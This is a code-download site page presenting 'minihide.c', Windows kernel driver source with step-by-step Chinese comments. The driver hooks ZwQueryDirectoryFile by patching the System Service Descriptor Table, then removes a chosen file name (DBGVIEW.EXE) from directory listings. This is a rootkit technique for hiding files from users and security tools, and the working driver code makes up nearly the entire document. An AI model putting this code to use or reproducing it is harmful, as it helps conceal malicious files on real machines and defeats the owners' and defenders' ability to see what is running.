⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 minihide.c

📁 用驱动隐藏文件。最精简版。ddk,c原码
💻 C
字号:
#include <wdm.h> 

// http://manbu.net/Lib/Class9/Sub1/56/22.asp 
// http://sg.kehui.net/index.php/article/read/1/19809 
// http://blog.donews.com/zwell/archive/2005/01/10/232227.aspx 
// http://dev.csdn.net/article/21/21216.shtm 
// http://www.vchelp.net/itbookreview/view_paper.asp?paper_id=920 
// http://www.allife.org/index.php?job=art&articleid=a_20060117_133527 

typedef unsigned int UINT; 
typedef char * PCHAR; 
typedef unsigned long BOOL; 
typedef unsigned long DWORD; 

#define FileBothDirectoryInformation 3

typedef struct _FILE_BOTH_DIR_INFORMATION { 
    ULONG           NextEntryOffset; 
    ULONG           FileIndex; 
    LARGE_INTEGER   CreationTime; 
    LARGE_INTEGER   LastAccessTime; 
    LARGE_INTEGER   LastWriteTime; 
    LARGE_INTEGER   ChangeTime; 
    LARGE_INTEGER   EndOfFile; 
    LARGE_INTEGER   AllocationSize; 
    ULONG           FileAttributes; 
    ULONG           FileNameLength; 
    ULONG           EaSize; 
    CCHAR           ShortNameLength; 
    WCHAR           ShortName[12]; 
    WCHAR           FileName[1]; 
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; 

VOID RtlUpperString(IN OUT PSTRING  DestinationString, IN PSTRING  SourceString); 

extern NTSYSAPI NTSTATUS NTAPI 
ZwQueryDirectoryFile(IN HANDLE hFile, 
                     IN HANDLE hEvent OPTIONAL, 
                     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                     IN PVOID IoApcContext OPTIONAL, 
                     OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                     OUT PVOID FileInformationBuffer, 
                     IN ULONG FileInformationBufferLength, 
                     IN FILE_INFORMATION_CLASS FileInfoClass, 
                     IN BOOLEAN bReturnOnlyOneEntry, 
                     IN PUNICODE_STRING PathMask OPTIONAL, 
                     IN BOOLEAN bRestartQuery); 

typedef NTSTATUS (* REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile, 
            IN HANDLE hEvent OPTIONAL, 
            IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
            IN PVOID IoApcContext OPTIONAL, 
            OUT PIO_STATUS_BLOCK pIoStatusBlock, 
            OUT PVOID FileInformationBuffer, 
            IN ULONG FileInformationBufferLength, 
            IN FILE_INFORMATION_CLASS FileInfoClass, 
            IN BOOLEAN bReturnOnlyOneEntry, 
            IN PUNICODE_STRING PathMask OPTIONAL, 
            IN BOOLEAN bRestartQuery); 

// 定义一个原函数指针 
REALZWQUERYDIRECTORYFILE RealZwQueryDirectoryFile; 

// 3. 定义替换 API 函数的原型: 
// 
NTSTATUS HookZwQueryDirectoryFile( 
          IN HANDLE hFile, 
          IN HANDLE hEvent OPTIONAL, 
          IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
          IN PVOID IoApcContext OPTIONAL, 
          OUT PIO_STATUS_BLOCK pIoStatusBlock, 
          OUT PVOID FileInformationBuffer, 
          IN ULONG FileInformationBufferLength, 
          IN FILE_INFORMATION_CLASS FileInfoClass, 
          IN BOOLEAN bReturnOnlyOneEntry, 
          IN PUNICODE_STRING PathMask OPTIONAL, 
          IN BOOLEAN bRestartQuery); 

// -=描述 SYSTEMSERVICE 的定义=- 

typedef struct ServiceDescriptorEntry { 
    unsigned int * ServiceTableBase;        // 关键字段, 指向系统服务分发例程的基地址 
    unsigned int * ServiceCounterTableBase; 
    unsigned int NumberOfServices; 
    unsigned char * ParamTableBase; 
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; 

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] 


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath); 
void HideFile_Unload(PDRIVER_OBJECT DriverObject); 

#pragma alloc_text(INIT, DriverEntry) 
#pragma alloc_text(PAGE, HideFile_Unload) 


NTSTATUS    DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) 
{ 
    NTSTATUS    NtStatus = STATUS_SUCCESS; 
    UINT        uiIndex = 0; 
    PDEVICE_OBJECT  pDeviceObject = NULL; 
    UNICODE_STRING  usDriverName, usDosDeviceName; 

    DbgPrint("DriverEntry Called\r\n"); 

    RtlInitUnicodeString(&usDriverName, L"\\Device\\HideFile"); 
    RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile"); 

    NtStatus = IoCreateDevice(pDriverObject, 
        0, 
        &usDriverName, 
        FILE_DEVICE_UNKNOWN, 
        FILE_DEVICE_SECURE_OPEN, 
        FALSE, 
        &pDeviceObject); 
    if (STATUS_SUCCESS == NtStatus) { 
        pDriverObject->DriverUnload = HideFile_Unload; 
    }

    pDeviceObject->Flags |= DO_DIRECT_IO; 
    pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING); 

    IoCreateSymbolicLink(&usDosDeviceName, &usDriverName); 
    
    // 4. 在 DriverEntry(驱动入口)函数中加入如下申明: 
    // 保存真正的 ZwQueryDirectoryFile 函数地址 
    RealZwQueryDirectoryFile = (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
    
    // 把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数
    (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = HookZwQueryDirectoryFile; 

    return NtStatus; 
} 

void HideFile_Unload(PDRIVER_OBJECT DriverObject) 
{ 
    UNICODE_STRING usDosDeviceName; 

    // 5.在DriverUnload(驱动卸载函数)函数中加入恢复代码: 
    //恢复原来的函数指针 
    (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = RealZwQueryDirectoryFile;

    DbgPrint("HideFile_Unload Called\r\n"); 

    RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile"); 
    IoDeleteSymbolicLink(&usDosDeviceName); 

    IoDeleteDevice(DriverObject->DeviceObject); 
} 


//   6. 现在准备工作做好了, 函数指针都已经设置转向了, 剩下的是实现这个我们自定义的 
//      替换函数 HookZwQueryDirectoryFile, 代码如下: 
// 
NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile, 
                                  IN HANDLE hEvent OPTIONAL, 
                                  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                                  IN PVOID IoApcContext OPTIONAL, 
                                  OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                                  OUT PVOID FileInformationBuffer, 
                                  IN ULONG FileInformationBufferLength, 
                                  IN FILE_INFORMATION_CLASS FileInfoClass, 
                                  IN BOOLEAN bReturnOnlyOneEntry, 
                                  IN PUNICODE_STRING PathMask OPTIONAL, 
                                  IN BOOLEAN bRestartQuery) 
{ 
    NTSTATUS rc; 
    
    ANSI_STRING ansiHideDirFile; 
    
    // 初始化要过滤的文件名这里是 debug.exe 
    // 这里字符串是常量, 不用释放 
    RtlInitAnsiString(&ansiHideDirFile, "DBGVIEW.EXE"); 
    
    // 执行真正的 ZwQueryDirectoryFile 函数 
    rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))( 
        hFile, 
        hEvent, 
        IoApcRoutine, 
        IoApcContext, 
        pIoStatusBlock, 
        FileInformationBuffer, 
        FileInformationBufferLength, 
        FileInfoClass, 
        bReturnOnlyOneEntry, 
        PathMask, 
        bRestartQuery); 

    // 如果执行成功, 而且 FILE_INFORMATION_CLASS 的值为 FileBothDirectoryInformation, 我们就进行处理, 过滤 
    if(NT_SUCCESS(rc) && (FileInfoClass == FileBothDirectoryInformation)) 
    { 
        UNICODE_STRING uniFileName; 

        PFILE_BOTH_DIR_INFORMATION pFileInfo; 
        PFILE_BOTH_DIR_INFORMATION pLastFileInfo; 
        BOOL bLastOne=FALSE; 

        // 把执行结果赋给 pFileInfo 
        pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer; 
        pLastFileInfo = NULL; 

        // 循环检查 
        do { 
            ANSI_STRING ansiDesFileName, ansiSrcFileName; 

            bLastOne = (0 == pFileInfo->NextEntryOffset); 

            RtlInitUnicodeString(&uniFileName, pFileInfo->FileName); // uniFileName 不用释放 

            RtlUnicodeStringToAnsiString(&ansiDesFileName, &uniFileName, TRUE); // TRUE, 必须释放 
            RtlUnicodeStringToAnsiString(&ansiSrcFileName, &uniFileName, TRUE); 
            
            RtlUpperString(&ansiDesFileName, &ansiSrcFileName); 

            // 打印结果, 用 debugview 可以查看打印结果 
            DbgPrint("ansiFileName :%s\n", ansiDesFileName.Buffer); 
            DbgPrint("HideDirFile :%s\n", ansiHideDirFile.Buffer); 
            
            // 开始进行比较, 如果找到了就隐藏这个文件或者目录 
            if( RtlCompareMemory(ansiDesFileName.Buffer, ansiHideDirFile.Buffer, ansiHideDirFile.Length) == ansiHideDirFile.Length) 
            { 
                DbgPrint("This is HideDirFile!\n"); 
                if(bLastOne) 
                { 
                    if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer ) 
                    { 
                        rc = 0x80000006; // 隐藏文件或者目录; 
                    } 
                    else 
                    { 
                        pLastFileInfo->NextEntryOffset = 0; 
                    } 
                    RtlFreeAnsiString(&ansiSrcFileName); //=========================== 
                    RtlFreeAnsiString(&ansiDesFileName); //=========================== 
                    break; 
                } 
                else //指针往后移动 
                { 
                    int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer; 
                    int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset; 
                    RtlCopyMemory( (PVOID)pFileInfo, 
                        (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), 
                        (DWORD)iLeft ); 
                    
                    RtlFreeAnsiString(&ansiSrcFileName); //===========================  
                    RtlFreeAnsiString(&ansiDesFileName); //=========================== 
                    continue; 
                } 
            } 
            pLastFileInfo = pFileInfo; 
            pFileInfo = (PFILE_BOTH_DIR_INFORMATION) 
                ((char *)pFileInfo + pFileInfo->NextEntryOffset); 
            
            RtlFreeAnsiString(&ansiSrcFileName); //===========================  
            RtlFreeAnsiString(&ansiDesFileName); //=========================== 

        } while ( FALSE == bLastOne ); 
    } 
    return(rc); 
} 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -